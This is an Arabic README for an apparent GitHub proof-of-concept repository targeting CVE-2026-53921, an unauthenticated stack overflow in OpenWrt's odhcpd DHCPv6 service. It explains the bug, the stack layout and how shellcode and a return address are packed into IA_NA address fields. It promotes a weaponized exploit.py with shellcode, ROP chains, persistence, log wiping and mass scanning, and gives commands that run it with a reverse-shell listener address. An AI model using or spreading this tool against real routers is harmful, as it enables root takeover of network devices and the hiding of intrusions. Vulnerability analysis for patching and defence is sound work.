
CVE-2026-53921 – odhcpd Stack Overflow (CVSS 9.8) 🛡️ شرح تفصيلي وشامل للثغرة مع مُتحقِّق واستغلال متعدد لثغرة RCE في DHCPv6 الخاص بـ OpenWrt. تجاوز ثنائي المتجهات (IA_NA/IA_PD) مع شيلكود MIPS/ARM وسلاسل ROP ووكيل SOCKS5 واستمرارية ومسح السجلات ومسح واسع النطاق. استخدمه بأخلاقية، والتزم بالقانون. 🔒

⚠️ لأغراض تعليمية والاختبار المصرح به فقط. الاستخدام غير المصرح به غير قانوني.
CVE-2026-53921 هي ثغرة تجاوز سعة المخزن المؤقت للمكدس حرجة في خدمة odhcpd الخاصة بـ OpenWrt – خادم DHCPv6/DHCPv4/RA الافتراضي.
توجد الثغرة في كود معالجة رسائل DHCPv6 في odhcpd، وتحديداً في الدالتين build_ia() و dhcpv6_ia_handle_IAs().
يحدث الخطأ أثناء التسلسل (التغليف) لحزم رد DHCPv6. عندما يستجيب odhcpd لطلبات العملاء، يقوم ببناء الرد في مخزن مؤقت للمكدس بحجم ثابت يبلغ 512 بايت دون فحص مناسب لحدود الذاكرة.
// Simplified representation of the vulnerable code
static void build_ia(struct dhcpv6_ia *ia, uint8_t *buf, size_t *len) {
// ❌ No bounds check before writing
memcpy(buf + *len, ia->data, ia->length);
*len += ia->length;
}
يرسل المهاجم طلب DHCPv6 (أو Solicit) يحتوي على:
يستهلك كل خيار مساحة من المكدس أثناء قيام odhcpd ببناء رده. تتجاوز البيانات المتراكمة 512 بايت، مما يسبب التجاوز.
المتجه المشغّل نقطة التجاوز
الموقع 1 5 خيارات IA_NA build_ia() لـ IA_NA
مع عناوين IPv6
build_ia() لـ IA_PDالسبب الجذري متطابق، لكن التجاوز يحدث في مسارات كود مختلفة، مما يجعل كلا المتجهين قابلين للاستغلال بالتساوي.
Stack Layout (simplified):
+-------------------+ <-- High addresses
| Return Address | ← Overwritten with attacker-controlled value
+-------------------+
| Saved Frame Ptr |
+-------------------+
| Local Variables | ← 512-byte buffer
+-------------------+ <-- Low addresses
يستبدل المهاجم عنوان الإرجاع المحفوظ ليشير إلى كود الشيل الخاص به في الذاكرة.
المتطلب الوصف
الوصول إلى الشبكة يجب أن يكون لدى المهاجم اتصال IPv6 بالهدف
المصادقة لا شيء -- هجوم دون مصادقة
الصلاحيات يعمل odhcpd بصلاحيات الجذر (root)،
لذا فإن RCE تمنح تحكمًا كاملاً في النظام
في استغلال حقيقي، يتم وضع كود الشيل الخاص بالمهاجم في حقول عناوين IPv6 الخاصة بـ IAAddress (16 بايت لكل IA_NA). تقوم الحزم المعدّة بتعبئة كود الشيل، ومنحدر NOP، وعنوان الإرجاع في هذه الحقول.
Crafted IA_NA Structure:
+-------------------+
| IA_NA Header | (12 bytes)
+-------------------+
| IAAddress 1 | ← NOP sled + shellcode
+-------------------+
| IAAddress 2 | ← NOP sled + shellcode
+-------------------+
| IAAddress 3 | ← NOP sled + shellcode
+-------------------+
| IAAddress 4 | ← Return address
+-------------------+
| IAAddress 5 | ← Return address
+-------------------+
Crafted DHCPv6 Request
↓
odhcpd processes IA_NA/IA_PD options
↓
512-byte stack buffer overflows
↓
Return address overwritten
↓
CPU jumps to shellcode
↓
Reverse shell / Bind shell / RCE
↓
Full system compromise (root privileges)
الإصدار الحالة هل RCE ممكن؟
odhcpd < e432dd6 قابل للاستغلال ✅ نعم OpenWrt < 24.10.8 قابل للاستغلال ✅ نعم OpenWrt < 25.12.5 قابل للاستغلال ✅ نعم OpenWrt 24.10.8+ مُصحح ❌ لا OpenWrt 25.12.5+ مُصحح ❌ لا odhcpd master + e432dd6 مُصحح ❌ لا
هذه الثغرة خطيرة بشكل خاص للأسباب التالية:
odhcpd مفعل افتراضيًا على تثبيتات OpenWrt.| المكوّن | الإصدارات القابلة للاستغلال | تم الإصلاح في |
|---|---|---|
odhcpd (فرع master) | قبل الالتزام e432dd6 | e432dd6 أو أحدث |
| إصدارات OpenWrt | < 24.10.8 < 25.12.5 | 24.10.8 و 25.12.5 |
يوفر هذا المستودع سكربتين مستقلين:
| السكربت | الغرض | كود الاستغلال | الأمان |
|---|---|---|---|
verifier.py | فحص ثغرات غير تدخلي | ❌ لا | ✅ آمن |
exploit.py | استغلال كامل مُسلح | ✅ نعم | ⚠️ خطير |
verifier.py – فاحص الثغراتexploit.py – الاستغلال الكاملIA_NA (Site1) و IA_PD (Site2).git clone https://github.com/tc4dy/CVE-2026-53921-PoC-Exploit
cd CVE-2026-53921-PoC-Exploit
pip install -r requirements.txt
#Note: Both scripts need root privileges to craft raw IPv6 packets.
sudo python3 verifier.py -u fe80::1%eth0 -i eth0
sudo python3 exploit.py -u fe80::1%eth0 -i eth0 --lhost 192.168.1.100 --lport 4444
verifier.py| الوسيط | الوصف |
|---|---|
-u, --target | عنوان IPv6 للهدف (مطلوب) |
-i, --iface | واجهة الشبكة (الافتراضي: eth0) |
exploit.py